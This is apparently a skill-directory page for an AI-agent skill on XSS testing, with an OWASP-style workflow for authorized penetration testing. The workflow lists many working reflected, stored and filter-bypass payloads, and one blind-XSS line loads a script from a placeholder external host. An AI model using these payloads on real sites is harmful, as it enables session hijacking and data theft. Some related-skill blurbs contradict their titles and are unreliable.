testing-for-xss-vulnerabilities
Helps your agent test websites against XSS attacks. It looks for ways to run code in the user's browser to steal information. Useful for ensuring websites are safe from attackers.
What it does
This tool helps find security flaws in websites that allow an attacker to inject malicious code. It checks if the site is protected against attacks that could steal user information or take over their account.
When to use it
- ✓When testing a website's security to ensure it's not vulnerable to code injection attacks.
- ✓To check if the site's defenses against malicious code are working correctly.
- ✓To demonstrate how an attack could steal user information or impersonate them.
Example of what to ask your AI
“Check if website X is secure against malicious code injection and session hijacking.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool inserts small pieces of code (like 'alert(1)') into different parts of a website to see if the code runs. It also tries to bypass existing protections to prove the attack is possible.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilitiesOr download just the file:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-xss-vulnerabilities/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
Testing for XSS Vulnerabilities
When to Use
- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
- Evaluating the effectiveness of input sanitization and output encoding across all application features
- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering
Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.
Prerequisites
- Authorized scope defining the target web application and acceptable testing activities
- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
- XSS Hunter or Burp Collaborator for out-of-band payload verification
- SecLists XSS payload lists and custom payloads for WAF bypass scenarios
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Input and Output Mapping
Map every location where user input enters and is rendered by the application:
- Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
- Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
- DOM inputs: Identify client-side JavaScript that reads from
location.hash,location.search,document.referrer,window.name,postMessage, orlocalStorageand writes to the DOM - Output context identification: For each reflected input, determine the rendering context:
- HTML body:
<div>USER_INPUT</div> - HTML attribute:
<input value="USER_INPUT"> - JavaScript string:
var x = 'USER_INPUT'; - URL context:
<a href="USER_INPUT"> - CSS context:
<div style="color: USER_INPUT">
- HTML body:
Step 2: Reflected XSS Testing
Test reflected injection points with context-appropriate payloads:
- HTML body context:
<script>alert(document.domain)</script>,<img src=x onerror=alert(1)>,<svg onload=alert(1)> - HTML attribute context:
" onfocus=alert(1) autofocus="," onmouseover=alert(1) ","><script>alert(1)</script> - JavaScript string context:
';alert(1)//,\';alert(1)//,</script><script>alert(1)</script> - URL/href context:
javascript:alert(1),data:text/html,<script>alert(1)</script> - Inside HTML comments:
--><script>alert(1)</script><!-- - Filter bypass payloads (when basic payloads are blocked):
- Case variation:
<ScRiPt>alert(1)</sCrIpT> - Event handlers:
<details open ontoggle=alert(1)> - SVG:
<svg><animate onbegin=alert(1) attributeName=x> - Encoding:
<img src=x onerror=alert(1)>
- Case variation:
Step 3: Stored XSS Testing
Test persistent storage points that render input to other users:
- Submit XSS payloads to every stored input field identified in Step 1
- Use a unique identifier in each payload to track which inputs trigger:
<script>alert('XSS-PROFILE-001')</script> - Check all locations where the stored input is rendered (the same input may appear on multiple pages)
- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
- Use XSS Hunter payloads (
"><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access
Step 4: DOM-Based XSS Testing
Analyze client-side JavaScript for unsafe DOM manipulation:
- Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
document.location,document.URL,document.referrerlocation.hash,location.search,location.href
…
FAQ
What is XSS?
XSS (Cross-Site Scripting) is a type of attack where an attacker injects malicious scripts into trusted websites, which can then be executed in other users' browsers.
What are 'payloads'?
Payloads are the malicious codes that an attacker tries to inject into a website. They can range from a simple command to display a message to more complex code for stealing data.
What is 'CSP'?
CSP (Content Security Policy) is a security layer that helps prevent XSS and other code injection attacks by telling the browser which content sources are trusted.
Details
Original description by the author
Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.
Popularity
- GitHub stars
- 35k
- Ranking position
- #6229
- License
- Apache-2.0
- Updated
- 8/31/2026
Comments
- …
More skills from this repository
abusing-dpapi-for-credential-access
Gives your AI agent ready-made instructions for a specific task, so it does it better and faster.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Teaches your AI agent to write clear, well-structured text.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Helps your agent prepare an environment for CMMC Level 2 compliance. It implements security requirements and manages necessary documentation.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Helps your agent create exact copies of hard drives. This is useful for ensuring no information is lost or altered during investigations.
mukul975/Anthropic-Cybersecurity-Skills
Similar skills
cpp-testing
Makes your agent write and improve tests for C++ code. It helps set up testing tools and fix errors.
affaan-m/ECC
csharp-testing
Helps your agent create tests for C# and .NET code. It uses best practices to ensure tests are efficient and reliable.
affaan-m/ECC
django-tdd
Enables your agent to apply testing strategies for Django with pytest-django and TDD. It's useful for writing robust tests and ensuring code quality, especially for DRF APIs.
affaan-m/ECC